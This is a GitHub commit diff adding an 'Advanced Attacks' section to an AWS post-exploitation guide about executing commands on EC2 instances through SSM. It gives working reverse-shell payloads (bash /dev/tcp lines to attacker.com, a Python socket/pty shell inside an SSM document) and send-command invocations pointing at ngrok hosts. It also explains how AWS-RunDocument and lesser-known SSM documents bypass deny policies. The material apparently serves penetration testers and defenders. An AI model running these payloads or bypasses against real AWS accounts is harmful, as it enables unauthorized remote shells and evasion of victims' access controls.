Skip to content

Commit f2b17ab

Browse files
authored
Merge pull request #441 from saw-your-packet/update-postexploitation-ssm-send-command
update(ssm_run_command): advanced attacks
2 parents 83b5016 + 8a2816a commit f2b17ab

File tree

4 files changed

+218
-0
lines changed

4 files changed

+218
-0
lines changed

content/aws/post_exploitation/run_shell_commands_on_ec2.md

Lines changed: 218 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -50,6 +50,224 @@ aws ssm list-command-invocations \
5050

5151
The output of the command will be in the `Output` section under `CommandPlugins`.
5252

53+
### Advanced Attacks
54+
55+
Section author: Eduard Agavriloae
56+
57+
<div class="grid cards" markdown>
58+
59+
- :material-tools:{ .lg .middle } __Tools mentioned in this article__
60+
61+
---
62+
63+
[EC2StepShell](https://github.com/saw-your-packet/EC2StepShell): EC2StepShell is an AWS post-exploitation tool for getting high privileges reverse shells in public or private EC2 instances.
64+
65+
[fun-with-ssm](https://github.com/saw-your-packet/fun-with-ssm): Resources for AWS post-exploitation scenarios where you have the permission ssm:SendCommand, but you can't use the AWS-RunPowerShellScript or AWS-RunShellScript documents.
66+
67+
</div>
68+
69+
#### Upgrade to a shell
70+
71+
If you don't have the ssm:StartSession permission, but you still want something close to a reverse shell, then you can use EC2StepShell.
72+
73+
!!! Tip
74+
EC2StepShell works on both Windows-UNIX and public-private instances. The tool automatically detect the OS and uses the permissions "ssm:SendCommand" for sending commands and either "ssm:GetCommandInvocation" or "ssm:ListCommandInvocations" for retrieving the output.
75+
76+
The tool is just a wrapper over SSM SendCommand, but it makes command execution simpler and it helps in showing impact.
77+
78+
![ec2stepshell-usage](../../images/aws/post_exploitation/run_shell_commands_on_ec2/ec2stepshell-usage.png)
79+
80+
81+
#### Using other SSM Documents
82+
83+
Most techniques and tools are using the SSM Documents AWS-RunShellScript and AWS-RunPowerShellScript for executing system commands. In some cases this might be either blocked or heavily monitored. Similarly, execution of SSM Documents owned by other AWS accounts might have the same restrictions.
84+
85+
![deny-ssm-documents](../../images/aws/post_exploitation/run_shell_commands_on_ec2/deny-ssm-documents.png)
86+
87+
There are 7 other SSM Documents that can be used for executing system commands on EC2 instances as first documented in the blog post [7 Lesser-Known AWS SSM Document Techniques for Code Execution](https://securitycafe.ro/2023/04/19/7-lesser-known-aws-ssm-document-techniques-for-code-execution/).
88+
89+
##### AWS-RunSaltState
90+
91+
This document will download from a remote location a Salt state file and interpret it. Salt state files are part of SaltStack, a technology for infrastructure management. The file format is YAML and the AWS-RunSaltState document can download it from S3 Buckets or HTTP(S) servers.
92+
93+
The payload for running arbitrary code will use “cmd.run”, as exemplified below where we have a payload for getting a reverse shell.
94+
95+
```yaml
96+
mycommand:
97+
cmd.run:
98+
- name: 0<&196;exec 196<>/dev/tcp/attacker.com/1337; sh <&196 >&196 2>&196
99+
```
100+
101+
The downside is that Salt Stack needs to be installed on the target system and that’s not the case by default.
102+
103+
For this document, as well as for the rest of them, we can create parameterized payloads. Meaning that we will use a single generic payload and pass the host and port as parameters.
104+
105+
```yaml
106+
# source: https://github.com/saw-your-packet/fun-with-ssm/blob/main/AWS-RunSaltState/linux/reverse_shell.yml
107+
mycommand:
108+
cmd.run:
109+
- name: 0<&196;exec 196<>/dev/tcp/{{host}}/{{port}}; sh <&196 >&196 2>&196
110+
```
111+
112+
Example usage:
113+
114+
```bash
115+
aws ssm send-command --document-name AWS-RunSaltState \
116+
--instance-id i-06ae9883fe6e5d721 \
117+
--parameters \
118+
'{"stateurl":["https://raw.githubusercontent.com/saw-your-packet/fun-with-ssm/main/AWS-RunSaltState/linux/reverse_shell.yml"], "pillars":["{\"host\":\"7.tcp.eu.ngrok.io\", \"port\":\"14460\"}"]}'
119+
```
120+
121+
##### AWS-ApplyAnsiblePlaybooks
122+
123+
It downloads from remote locations Ansible Playbooks and executes them. It can download from S3 Buckets or GitHub repositories.
124+
125+
The advantage here is that it can also install Ansible on the system.
126+
127+
The parameterized Ansible Playbook for getting a reverse shell:
128+
129+
```yaml
130+
# Source: https://github.com/saw-your-packet/fun-with-ssm/blob/main/AWS-ApplyAnsiblePlaybooks/linux/reverse_shell.yml
131+
---
132+
- name: "Playing with Ansible and Git"
133+
hosts: localhost
134+
connection: local
135+
tasks:
136+
137+
- name: "Saying hi from remote host"
138+
shell: "0<&196;exec 196<>/dev/tcp/{{host}}/{{port}}; sh <&196 >&196 2>&196"
139+
```
140+
141+
Example usage:
142+
143+
```bash
144+
aws ssm send-command --instance-id i-0ecad5485f77f18f4 \
145+
--document-name "AWS-ApplyAnsiblePlaybooks" \
146+
--parameters \
147+
'{"SourceType":["GitHub"],"SourceInfo":["{\"owner\":\"saw-your-packet\", \"repository\":\"fun-with-ssm\",\"path\":\"AWS-ApplyAnsiblePlaybooks/linux/\", \"getOptions\":\"branch:main\"}"],"InstallDependencies":["True"],"PlaybookFile":["reverse_shell.yml"],"ExtraVariables":["host=6.tcp.eu.ngrok.io port=13012"]}'
148+
```
149+
150+
Because it is a GitHub repository, we have to specify more parameters than an HTTP server. Besides that, the parameters of interest are:
151+
152+
- InstallDependencies
153+
- Set to true for installing Ansible on the system
154+
- ExtraVariables
155+
- Here we specify the host and port where to receive the reverse shell
156+
157+
##### AWS-RunAnsiblePlaybook
158+
159+
It does the same thing as AWS-ApplyAnsiblePlaybook with some differences:
160+
161+
- Can download only from S3 Buckets and HTTP(S) servers
162+
- It requires Ansible to be already installed on the system
163+
- The same Ansible Playbook can be used, but the command to send the command is different
164+
165+
```bash
166+
aws ssm send-command --document-name "AWS-RunAnsiblePlaybook" \
167+
--instance-id i-0ecad5485f77f18f4 \
168+
--parameters \
169+
'{"playbookurl":["https://raw.githubusercontent.com/saw-your-packet/fun-with-ssm/main/AWS-RunAnsiblePlaybook/linux/reverse_shell.yml"],"extravars":["host=7.tcp.eu.ngrok.io port=14355"]}'
170+
```
171+
172+
##### AWS-InstallPowerShellModule
173+
174+
It downloads from remote locations PS modules and installs them. It only supports HTTP(S) servers.
175+
176+
The way the document is build, it allows you to execute an arbitrary command after the module was installed. Because of this, the PS module doesn’t need to be malicious.
177+
178+
Example usage:
179+
180+
```bash
181+
aws ssm send-command --document-name "AWS-InstallPowerShellModule" \
182+
--instance-id i-06ae9883fe6e5d721 \
183+
--parameters '{"source":["https://your-server.com/module.ps1"], "commands":["whoami"]}'
184+
```
185+
186+
##### AWS-InstallApplication
187+
188+
It downloads from remote locations MSI files and installs them. It only supports HTTP(S) servers. You can pass arguments to the MSI installation if want to. You need to be aware of AV at this point if the file is malicious.
189+
190+
Example usage:
191+
192+
```bash
193+
aws ssm send-command --document-name "AWS-InstallApplication" \
194+
--instance-id i-06ae9883fe6e5d721 \
195+
--parameters '{"action":["Install"], "parameters":["parameters"], "source":["https://your-server.com/file.msi"]}'
196+
```
197+
198+
##### AWS-RunRemoteScript
199+
200+
It downloads from remote locations scripts and executes them. It supports S3 Buckets and GitHub repositories. It works for both UNIX and Windows machines.
201+
202+
Example usage:
203+
204+
```bash
205+
aws ssm send-command --document-name "AWS-RunRemoteScript" \
206+
--instance-id i-06ae9883fe6e5d721 \
207+
--parameters '{"sourceType":["S3"], "sourceInfo":["{\"path\":\"s3://my-bucket/script.sh\"}"]}'
208+
```
209+
210+
##### AWS-RunDocument
211+
212+
Last, but not least, AWS-RunDocument. This is a special one. It downloads and executes other SSM Documents. Let’s take a moment to understand this better.
213+
214+
So, let’s say the cloud engineer extended the deny list from the initial policy and blocked all the other SSM Documents presented above.
215+
216+
![bad-block](../../images/aws/post_exploitation/run_shell_commands_on_ec2/bad-block.png)
217+
218+
Well, if AWS-RunDocument is not blocked then the policy is useless. You can copy the content of, let’s say, AWS-RunShellScript document, store it on your server and use AWS-RunDocument to execute a replica of the AWS-RunShellScript document, which will result in the exact outcome as if you would have used AWS-RunShellScript directly.
219+
220+
It can downloads documents from GitHub repositories, S3 Buckets, HTTP(S) servers, but also can get a document as parameter from CLI. Same as for the other documents, you can create parameterized payloads that can be reused. It offers infinite possibilities in terms of what can you do.
221+
222+
Here is an example of malicious SSM Document that will generate a reverse shell through python (I don’t know why, but the Bash TCP payload doesn’t work with AWS-RunDocument).
223+
224+
Source: https://github.com/saw-your-packet/fun-with-ssm/blob/main/AWS-RunDocument/linux/Reverse-Shell-Python
225+
226+
```json
227+
{
228+
"schemaVersion": "2.2",
229+
"description": "rev shell document linux",
230+
"parameters": {
231+
"host": {
232+
"description": "(Required) Specify the host.",
233+
"type": "String"
234+
},
235+
"port": {
236+
"description": "(Optional) Specify the port. The default value is 4444.",
237+
"type": "String",
238+
"default": "4444"
239+
}
240+
},
241+
"mainSteps": [
242+
{
243+
"action": "aws:runShellScript",
244+
"name": "shell",
245+
"inputs": {
246+
"runCommand": [
247+
"port={{ port }}",
248+
"host1={{ host }}",
249+
"python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"'$host1'\",'$port'));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn(\"/bin/sh\")'"
250+
]
251+
}
252+
}
253+
]
254+
}
255+
```
256+
257+
Example usage:
258+
259+
```bash
260+
ws ssm send-command --document-name "AWS-RunDocument" \
261+
--instance-id i-06ae9883fe6e5d721 \
262+
--parameters '{"sourceType":["GitHub"],"sourceInfo":["{\"owner\":\"saw-your-packet\", \"repository\":\"fun-with-ssm\", \"path\":\"AWS-RunDocument/linux/Reverse-Shell-Python\",\"getOptions\":\"branch:main\"}"], "documentParameters":["{\"host\":\"2.tcp.eu.ngrok.io\",\"port\":\"11448\"}"]}'
263+
```
264+
265+
The parameter of interest is documentParameters which allow us to pass our host and port to the document. Cool, right?
266+
267+
As an extension of this research, I started making malicious SSM documents. You can check them here: https://github.com/saw-your-packet/fun-with-ssm/tree/main/AWS-RunDocument
268+
269+
More details about the advanced usage of SSM Run Command can be found in my talk: [The C2 tool no one talks about: AWS SSM – Run Command at DefCamp 2023](https://www.youtube.com/watch?v=SKXzwDy4vkw)
270+
53271
## Session Manager
54272

55273
<div class="grid cards" markdown>
Loading
Loading
Loading

0 commit comments

Comments
 (0)